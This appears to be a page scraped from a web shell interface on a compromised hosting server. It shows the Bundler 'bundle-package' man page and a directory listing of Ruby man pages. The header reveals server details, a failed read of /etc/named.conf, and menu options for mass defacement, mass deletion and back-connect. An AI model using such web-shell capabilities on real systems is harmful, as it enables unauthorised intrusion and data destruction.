ULTRA [ growontech.com ]

Linux premium216.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

LiteSpeed

66.29.141.148 | Your IP: 3.147.76.183

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ opt / alt / ruby26 / share / man / man1 /

Home Upload Mass Deface Mass Delete Back Connect Notify

bundle-package.1

.\" generated with Ronn/v0.7.3
.\" http://github.com/rtomayko/ronn/tree/0.7.3
.
.TH "BUNDLE\-PACKAGE" "1" "November 2018" "" ""
.
.SH "NAME"
\fBbundle\-package\fR \- Package your needed \fB\.gem\fR files into your application
.
.SH "SYNOPSIS"
\fBbundle package\fR
.
.SH "DESCRIPTION"
Copy all of the \fB\.gem\fR files needed to run the application into the \fBvendor/cache\fR directory\. In the future, when running [bundle install(1)][bundle\-install], use the gems in the cache in preference to the ones on \fBrubygems\.org\fR\.
.
.SH "GIT AND PATH GEMS"
Since Bundler 1\.2, the \fBbundle package\fR command can also package \fB:git\fR and \fB:path\fR dependencies besides \.gem files\. This needs to be explicitly enabled via the \fB\-\-all\fR option\. Once used, the \fB\-\-all\fR option will be remembered\.
.
.SH "SUPPORT FOR MULTIPLE PLATFORMS"
When using gems that have different packages for different platforms, Bundler 1\.8 and newer support caching of gems for other platforms where the Gemfile has been resolved (i\.e\. present in the lockfile) in \fBvendor/cache\fR\. This needs to be enabled via the \fB\-\-all\-platforms\fR option\. This setting will be remembered in your local bundler configuration\.
.
.SH "REMOTE FETCHING"
By default, if you run \fBbundle install(1)\fR](bundle\-install\.1\.html) after running bundle package(1) \fIbundle\-package\.1\.html\fR, bundler will still connect to \fBrubygems\.org\fR to check whether a platform\-specific gem exists for any of the gems in \fBvendor/cache\fR\.
.
.P
For instance, consider this Gemfile(5):
.
.IP "" 4
.
.nf

source "https://rubygems\.org"

gem "nokogiri"
.
.fi
.
.IP "" 0
.
.P
If you run \fBbundle package\fR under C Ruby, bundler will retrieve the version of \fBnokogiri\fR for the \fB"ruby"\fR platform\. If you deploy to JRuby and run \fBbundle install\fR, bundler is forced to check to see whether a \fB"java"\fR platformed \fBnokogiri\fR exists\.
.
.P
Even though the \fBnokogiri\fR gem for the Ruby platform is \fItechnically\fR acceptable on JRuby, it has a C extension that does not run on JRuby\. As a result, bundler will, by default, still connect to \fBrubygems\.org\fR to check whether it has a version of one of your gems more specific to your platform\.
.
.P
This problem is also not limited to the \fB"java"\fR platform\. A similar (common) problem can happen when developing on Windows and deploying to Linux, or even when developing on OSX and deploying to Linux\.
.
.P
If you know for sure that the gems packaged in \fBvendor/cache\fR are appropriate for the platform you are on, you can run \fBbundle install \-\-local\fR to skip checking for more appropriate gems, and use the ones in \fBvendor/cache\fR\.
.
.P
One way to be sure that you have the right platformed versions of all your gems is to run \fBbundle package\fR on an identical machine and check in the gems\. For instance, you can run \fBbundle package\fR on an identical staging box during your staging process, and check in the \fBvendor/cache\fR before deploying to production\.
.
.P
By default, bundle package(1) \fIbundle\-package\.1\.html\fR fetches and also installs the gems to the default location\. To package the dependencies to \fBvendor/cache\fR without installing them to the local install location, you can run \fBbundle package \-\-no\-install\fR\.

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2024-03-03 10:47:41
..	dir	-	root/root	drwxr-xr-x	2024-03-03 10:47:41
bundle-add.1	text/troff	1.3 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-binstubs.1	text/troff	1.69 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-check.1	text/troff	966 B	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-clean.1	text/troff	604 B	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-config.1	text/troff	20.92 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-doctor.1	text/troff	1.14 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-exec.1	text/troff	6.6 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-gem.1	text/troff	3.17 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-info.1	text/troff	449 B	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-init.1	text/troff	1.05 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-inject.1	text/troff	738 B	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-install.1	text/troff	16.38 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-list.1	text/troff	871 B	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-lock.1	text/troff	3.12 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-open.1	text/troff	581 B	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-outdated.1	text/troff	3.72 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-package.1	text/troff	3.25 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-platform.1	text/troff	1.31 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-pristine.1	text/troff	1.64 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-remove.1	text/troff	849 B	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-show.1	text/troff	690 B	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-update.1	text/troff	13.59 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle-viz.1	text/troff	1.08 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
bundle.1	text/troff	3.42 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
erb.1	text/troff	3.25 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
irb.1	text/troff	3.37 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
ri.1	text/troff	5.22 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11
ruby.1	text/troff	18.63 KB	root/linksafe	-rw-r--r--	2022-04-12 11:50:11